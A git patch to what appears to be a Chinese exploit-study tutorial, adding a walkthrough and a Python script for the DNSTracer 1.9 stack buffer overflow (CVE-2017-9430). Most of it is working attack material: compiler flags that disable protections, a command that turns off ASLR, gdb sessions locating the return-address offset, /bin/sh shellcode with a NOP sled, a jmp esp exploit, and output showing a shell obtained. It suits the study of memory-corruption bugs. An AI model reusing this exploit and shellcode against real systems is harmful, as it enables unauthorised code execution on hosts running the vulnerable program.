From 25372d8161b93f6bade195197c66b9193c251555 Mon Sep 17 00:00:00 2001 From: firmianay Date: Tue, 13 Feb 2018 14:48:21 +0800 Subject: [PATCH] finish 7.1.6 --- doc/7.1.6_dnstracer_2017-9430.md | 228 ++++++++++++++----- src/exploit/7.1.6_dnstracer_2017-9430/exp.py | 16 ++ 2 files changed, 189 insertions(+), 55 deletions(-) create mode 100644 src/exploit/7.1.6_dnstracer_2017-9430/exp.py diff --git a/doc/7.1.6_dnstracer_2017-9430.md b/doc/7.1.6_dnstracer_2017-9430.md index 8163bff..2aa6570 100644 --- a/doc/7.1.6_dnstracer_2017-9430.md +++ b/doc/7.1.6_dnstracer_2017-9430.md @@ -16,8 +16,8 @@ DNSTracer 是一个用来跟踪 DNS 解析过程的应用程序。DNSTracer 1.9 ## 漏洞复现 | |推荐使用的环境 | 备注 | | --- | --- | --- | -| 操作系统 | Ubuntu 16.04 | 体系结构:32 位 | -| 调试器 | gdb-peda| 版本号:7.11.1 | +| 操作系统 | Ubuntu 12.04 | 体系结构:32 位 | +| 调试器 | gdb-peda| 版本号:7.4 | | 漏洞软件 | DNSTracer | 版本号:1.9 | 首先编译安装 DNSTracer: @@ -101,7 +101,7 @@ main(int argc, char **argv) ## Exploit -接下来可以破解它,首先修改 Makefile,关掉栈保护,同时避免 gcc 使用安全函数 `__strcpy_chk()` 替换 `strcpy()`,修改编译选项如下,然后编译安装: +首先修改 Makefile,关掉栈保护,同时避免 gcc 使用安全函数 `__strcpy_chk()` 替换 `strcpy()`,修改编译选项如下: ``` $ cat Makefile | grep -w CC CC = gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0 @@ -115,6 +115,10 @@ NX : disabled PIE : disabled RELRO : Partial ``` +最后关掉 ASLR: +``` +# echo 0 > /proc/sys/kernel/randomize_va_space +``` 因为漏洞发生在 main 函数中,堆栈的布置比起在子函数里也要复杂一些。大体过程和前面写过的一篇 wget 溢出漏洞差不多,但那一篇是 64 位程序,所以这里选择展示一下 32 位程序。 @@ -126,58 +130,67 @@ gdb-peda$ pattern_offset $ebp ``` 所以返回地址位于栈偏移 `1049+4=1053` 的地方。 -在 `strcpy(argv0, argv[0]);` 处下断点,并根据偏移调整输入: ``` -gdb-peda$ b *main+789 -gdb-peda$ b *main+794 +gdb-peda$ disassemble main + 0x08048df8 <+808>: mov DWORD PTR [esp+0x4],edi + 0x08048dfc <+812>: mov DWORD PTR [esp],ebx + 0x08048dff <+815>: call 0x8048950 + 0x08048e04 <+820>: xor eax,eax + 0x08048e06 <+822>: mov ecx,esi + ... + 0x08048f6e <+1182>: mov DWORD PTR [esp+0x4],esi + 0x08048f72 <+1186>: call 0x804adb0 + 0x08048f77 <+1191>: mov DWORD PTR [esp],0xa +``` +在下面几个地方下断点,并根据偏移调整我们的输入: +``` +gdb-peda$ b *main+815 +gdb-peda$ b *main+820 +gdb-peda$ b *main+1186 gdb-peda$ r `perl -e 'print "A"x1053 . "BBBB"'` -Starting program: /home/firmy/dnstracer-1.9/dnstracer `perl -e 'print "A"x1053 . "BBBB"'` [----------------------------------registers-----------------------------------] EAX: 0x1 -EBX: 0xbfffe6bf --> 0x400 -ECX: 0xffffffff -EDX: 0xb7fba17c --> 0x0 -ESI: 0x0 -EDI: 0xbfffedb3 ('A' ...) -EBP: 0xbfffead8 --> 0x0 -ESP: 0xbfffe290 --> 0xbfffe6bf --> 0x400 -EIP: 0x8048db5 (: call 0x8048920 ) -EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) +EBX: 0xbfffeb3f --> 0xffed9cb7 +ECX: 0x0 +EDX: 0xb7fc7180 --> 0x0 +ESI: 0xffffffff +EDI: 0xbffff174 ('A' ...) +EBP: 0xbfffef58 --> 0x0 +ESP: 0xbfffe6d0 --> 0xbfffeb3f --> 0xffed9cb7 +EIP: 0x8048dff (: call 0x8048950 ) +EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] - 0x8048db2 : push ecx - 0x8048db3 : push edi - 0x8048db4 : push ebx -=> 0x8048db5 : call 0x8048920 - 0x8048dba : mov ecx,DWORD PTR [ebp-0x82c] - 0x8048dc0 : xor eax,eax - 0x8048dc2 : add esp,0x10 - 0x8048dc5 : repnz scas al,BYTE PTR es:[edi] + 0x8048df1 : lea ebx,[esp+0x46f] + 0x8048df8 : mov DWORD PTR [esp+0x4],edi + 0x8048dfc : mov DWORD PTR [esp],ebx +=> 0x8048dff : call 0x8048950 + 0x8048e04 : xor eax,eax + 0x8048e06 : mov ecx,esi + 0x8048e08 : repnz scas al,BYTE PTR es:[edi] + 0x8048e0a : not ecx Guessed arguments: -arg[0]: 0xbfffe6bf --> 0x400 -arg[1]: 0xbfffedb3 ('A' ...) -arg[2]: 0xffffffff -arg[3]: 0xffffffff +arg[0]: 0xbfffeb3f --> 0xffed9cb7 +arg[1]: 0xbffff174 ('A' ...) [------------------------------------stack-------------------------------------] -0000| 0xbfffe290 --> 0xbfffe6bf --> 0x400 -0004| 0xbfffe294 --> 0xbfffedb3 ('A' ...) -0008| 0xbfffe298 --> 0xffffffff -0012| 0xbfffe29c --> 0xffffffff -0016| 0xbfffe2a0 --> 0x0 -0020| 0xbfffe2a4 --> 0x0 -0024| 0xbfffe2a8 --> 0x8051018 ("127.0.1.1") -0028| 0xbfffe2ac --> 0xffffffff +0000| 0xbfffe6d0 --> 0xbfffeb3f --> 0xffed9cb7 +0004| 0xbfffe6d4 --> 0xbffff174 ('A' ...) +0008| 0xbfffe6d8 --> 0x804be37 ("4cCoq:r:S:s:t:v") +0012| 0xbfffe6dc --> 0x0 +0016| 0xbfffe6e0 --> 0x0 +0020| 0xbfffe6e4 --> 0x0 +0024| 0xbfffe6e8 --> 0x0 +0028| 0xbfffe6ec --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value -Breakpoint 1, 0x08048db5 in main (argc=, argv=) - at dnstracer.c:1622 +Breakpoint 1, 0x08048dff in main (argc=, argv=) at dnstracer.c:1622 1622 strcpy(argv0, argv[0]); gdb-peda$ x/10wx argv0 -0xbfffe6bf: 0x00000400 0x00000700 0x1af23c00 0x1b023c00 -0xbfffe6cf: 0x1b023c00 0x00000800 0x00004800 0x00000400 -0xbfffe6df: 0x00000400 0x74e55000 +0xbfffeb3f: 0xffed9cb7 0x000000bf 0x00000100 0x00000200 +0xbfffeb4f: 0xe33b9700 0xfdcac0b7 0x000000b7 0xffeff400 +0xbfffeb5f: 0xe24e08b7 0x000001b7 ``` -所以栈位于 `0xbfffe6bf`,执行这一行语句即可将 `0xbfffedb3` 处的 "A" 字符串复制到 `argv0` 数组中: +所以栈位于 `0xbfffeb3f`,执行这一行代码即可将 `0xbffff174` 处的 "A" 字符串复制到 `argv0` 数组中: ``` gdb-peda$ c Continuing. @@ -216,24 +229,129 @@ Legend: code, data, rodata, value Breakpoint 2, main (argc=, argv=) at dnstracer.c:1623 1623 if (argv0[strlen(argv[0]) - 1] == '.') argv0[strlen(argv[0]) - 1] = 0; gdb-peda$ x/10wx argv0 -0xbfffe6bf: 0x41414141 0x41414141 0x41414141 0x41414141 -0xbfffe6cf: 0x41414141 0x41414141 0x41414141 0x41414141 -0xbfffe6df: 0x41414141 0x41414141 -gdb-peda$ x/5wx 0xbfffeadc-0x10 -0xbfffeacc: 0x41414141 0x41414141 0x41414141 0x41414141 <-- ebp -0xbfffeadc: 0x42424242 <-- return addr +0xbfffeb3f: 0x41414141 0x41414141 0x41414141 0x41414141 +0xbfffeb4f: 0x41414141 0x41414141 0x41414141 0x41414141 +0xbfffeb5f: 0x41414141 0x41414141 +gdb-peda$ x/5wx argv0+1053-0x10 +0xbfffef4c: 0x41414141 0x41414141 0x41414141 0x41414141 +0xbfffef5c: 0x42424242 ``` -同时字符串 "BBBB" 覆盖了返回地址。继续修改 "BBBB" 为栈地址: +同时字符串 "BBBB" 覆盖了返回地址。所以我们用栈地址 `0xbfffeb3f` 替换掉 "BBBB": ``` -gdb-peda$ r `perl -e 'print "A"x1053 . "\xbf\xe6\xff\xbf"'` +gdb-peda$ r `perl -e 'print "A"x1053 . "\x3f\xeb\xff\xbf"'` ``` -即可跳转到栈开头的位置: ``` -gdb-peda$ x/5wx 0xbfffeadc-0x10 -0xbfffeacc: 0x41414141 0x41414141 0x41414141 0x41414141 <-- ebp -0xbfffeadc: 0xbfffe6bf <-- stack +gdb-peda$ x/5wx argv0+1053-0x10 +0xbfffef4c: 0x41414141 0x41414141 0x41414141 0x41414141 <-- ebp +0xbfffef5c: 0xbfffeb3f <-- return address ``` -0xbfffeacc + +然后就可以在栈上布置 shellcode 了,这一段 shellcode 长度为 23 字节,前面使用 nop 指令填充: +``` +gdb-peda$ r `perl -e 'print "\x90"x1030 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x3f\xeb\xff\xbf"'` +gdb-peda$ x/7wx argv0+1053-23 +0xbfffef45: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e <-- shellcode +0xbfffef55: 0xb0e18953 0x3f80cd0b 0x00bfffeb +``` +根据计算,shellcode 位于 `0xbfffef45`。 + +然而当我们执行这个程序的时候,发生了错误: +``` +gdb-peda$ c +127.0.0.1 (127.0.0.1) * * * + +Program received signal SIGSEGV, Segmentation fault. +[----------------------------------registers-----------------------------------] +EAX: 0x0 +EBX: 0xbfffef54 ("/bin//sh") +ECX: 0xffffffff +EDX: 0xb7fc88b8 --> 0x0 +ESI: 0xe3896e69 +EDI: 0xe1895350 +EBP: 0x80cd0bb0 +ESP: 0xbfffef54 ("/bin//sh") +EIP: 0xbfffef55 ("bin//sh") +EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0xbfffef4d: push 0x6e69622f + 0xbfffef52: mov ebx,esp + 0xbfffef54: das +=> 0xbfffef55: bound ebp,QWORD PTR [ecx+0x6e] + 0xbfffef58: das + 0xbfffef59: das + 0xbfffef5a: jae 0xbfffefc4 + 0xbfffef5c: add BYTE PTR [eax],al +[------------------------------------stack-------------------------------------] +0000| 0xbfffef54 ("/bin//sh") +0004| 0xbfffef58 ("//sh") +0008| 0xbfffef5c --> 0x0 +0012| 0xbfffef60 --> 0x0 +0016| 0xbfffef64 --> 0xbfffeff4 --> 0xbffff15b ("/usr/local/bin/dnstracer") +0020| 0xbfffef68 --> 0xbffff000 --> 0xbffff596 ("SSH_AGENT_PID=1407") +0024| 0xbfffef6c --> 0xb7fdc858 --> 0xb7e21000 --> 0x464c457f +0028| 0xbfffef70 --> 0x0 +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +Stopped reason: SIGSEGV +0xbfffef55 in ?? () +``` +错误发生在 `0xbfffef55`,而 shellcode 位于 `0xbfffef45`,两者相差 16 字节: +``` +gdb-peda$ x/8wx 0xbfffef45 +0xbfffef45: 0x6850c031 0x68732f2f 0x69622f68 0x2fe3896e +0xbfffef55: 0x2f6e6962 0x0068732f 0x00000000 0xf4000000 +``` +所以这里采用的解决办法是去掉前面的 16 个 nop,将其加到 shellcode 后面。 +``` +gdb-peda$ r `perl -e 'print "\x90"x1014 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x16 . "\x3f\xeb\xff\xbf"'` +``` +成功获得 shell。 +``` +gdb-peda$ c +127.0.0.1 (127.0.0.1) * * * +process 7161 is executing new program: /bin/dash +$ id +[New process 7165] +process 7165 is executing new program: /usr/bin/id +uid=1000(firmy) gid=1000(firmy) groups=1000(firmy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare) +$ [Inferior 2 (process 7165) exited normally] +Warning: not running or target is remote +``` + +那如果我们开启了 ASLR 怎么办呢,一种常用的方法是利用指令 `jmp esp` 覆盖返回地址,这将使程序在返回地址的地方继续执行,从而执行跟在后面的 shellcode。利用 objdump 就可以找到这样的指令: +``` +$ objdump -M intel -D /usr/local/bin/dnstracer | grep jmp | grep esp + 804cc5f: ff e4 jmp esp +``` +exp 如下: +```python +import os +from subprocess import call + +def exp(): + filling = "A"*1053 + jmp_esp = "\x5f\xcc\x04\x08" + shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + + payload = filling + jmp_esp + shellcode + call(["dnstracer", payload]) + +if __name__ == '__main__': + try: + exp() + except Exception as e: + print "Something went wrong" +``` +Bingo!!! +``` +$ python exp.py +Tracing to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_�1�Ph//shh/bin��PS��� + [a] via 127.0.0.1, maximum of 3 retries +127.0.0.1 (127.0.0.1) * * * +$ id +uid=1000(firmy) gid=1000(firmy) groups=1000(firmy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare) +``` + ## 参考资料 - http://www.mavetju.org/unix/dnstracer.php diff --git a/src/exploit/7.1.6_dnstracer_2017-9430/exp.py b/src/exploit/7.1.6_dnstracer_2017-9430/exp.py new file mode 100644 index 0000000..af3f16d --- /dev/null +++ b/src/exploit/7.1.6_dnstracer_2017-9430/exp.py @@ -0,0 +1,16 @@ +import os +from subprocess import call + +def exp(): + filling = "A"*1053 + jmp_esp = "\x5f\xcc\x04\x08" + shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + + payload = filling + jmp_esp + shellcode + call(["dnstracer", payload]) + +if __name__ == '__main__': + try: + exp() + except Exception as e: + print "Something went wrong"